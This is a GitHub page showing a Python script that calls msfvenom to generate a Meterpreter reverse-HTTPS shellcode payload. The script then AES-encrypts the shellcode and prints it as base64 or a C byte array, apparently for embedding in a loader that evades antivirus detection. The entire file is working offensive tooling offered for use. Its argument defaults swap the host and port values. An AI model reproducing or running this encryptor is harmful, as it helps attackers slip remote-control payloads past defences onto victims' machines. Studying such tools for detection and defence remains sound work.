- Notifications
You must be signed in to change notification settings - Fork 82
Expand file tree
/
Copy pathshellcode_encryptor.py
More file actions
Latest commit
119 lines (100 loc) · 3 KB
/
Copy pathshellcode_encryptor.py
File metadata and controls
119 lines (100 loc) · 3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
importarray, base64, random, string
fromCrypto.CipherimportAES
fromhashlibimportsha256
importargparse, subprocess, os
defmain():
args=parse_args()
lhost=args.lhost
lport=args.lport
key=args.key
ifnotkey:
key=get_random_string(32)
payload=args.payload
method=args.method
format=args.format
''' generate msfvenom payload '''
print("[+] Generating MSFVENOM payload...")
result=subprocess.run(['msfvenom',
'-p', payload,
'LPORT='+lport,
'LHOST='+lhost,
# '-b', '\\x00',
'-f', 'raw',
'-o', './msf.bin'],
capture_output=False)
f=open("./msf.bin", "rb")
buf=f.read()
f.close()
print("[+] key and payload will be written to key.b64 and payload.b64")
''' encrypt the payload '''
print("[+] Encrypting the payload, key="+key+"...")
hkey=hash_key(key)
encrypted=encrypt(hkey, hkey[:16], buf)
b64=base64.b64encode(encrypted)
f=open("./key.b64", "w")
f.write(key)
f.close()
f=open("./payload.b64", "w")
f.write(b64.decode('utf-8'))
f.close()
ifformat=="b64":
''' base64 output '''
print("[+] Base64 output:")
print(b64.decode('utf-8'))
print("\n[+] Have a nice day!")
return
ifformat=="c":
''' c output '''
print("[+] C output:")
hex_string='unsigned char payload[] ={0x';
hex='0x'.join('{:02x},'.format(x) forxinencrypted)
hex_string=hex_string+hex[:-1] +"};"
print(hex_string)
print("\n[+] Have a nice day!")
return
defencrypt(key,iv,plaintext):
key_length=len(key)
if (key_length>=32):
k=key[:32]
elif (key_length>=24):
k=key[:24]
else:
k=key[:16]
aes=AES.new(k, AES.MODE_CBC, iv)
pad_text=pad(plaintext, 16)
returnaes.encrypt(pad_text)
defhash_key(key):
h=''
forcinkey:
h+=hex(ord(c)).replace("0x", "")
h=bytes.fromhex(h)
hashed=sha256(h).digest()
returnhashed
defpad(data, block_size):
padding_size= (block_size-len(data)) %block_size
ifpadding_size==0:
padding_size=block_size
padding= (bytes([padding_size]) *padding_size)
returndata+padding
defparse_args():
parser=argparse.ArgumentParser()
parser.add_argument("-l", "--lport", default="0.0.0.0", type=str,
help="The local port that msfconsole is listening on.")
parser.add_argument("-i", "--lhost", default="443", type=str,
help="The local host that msfconsole is listening on.")
parser.add_argument("-p", "--payload", default="windows/x64/meterpreter/reverse_https", type=str,
help="The payload to generate in msfvenom.")
parser.add_argument("-m", "--method", default="thread", type=str,
help="The method to use: thread/delegate.")
parser.add_argument("-k", "--key", default="", type=str,
help="The encryption key (32 chars).")
parser.add_argument("-f", "--format", default="b64", type=str,
help="The format to output.")
returnparser.parse_args()
defget_random_string(length):
letters=string.ascii_letters+string.digits
result_str=''.join(random.choice(letters) foriinrange(length))
returnresult_str
if__name__=='__main__':
main()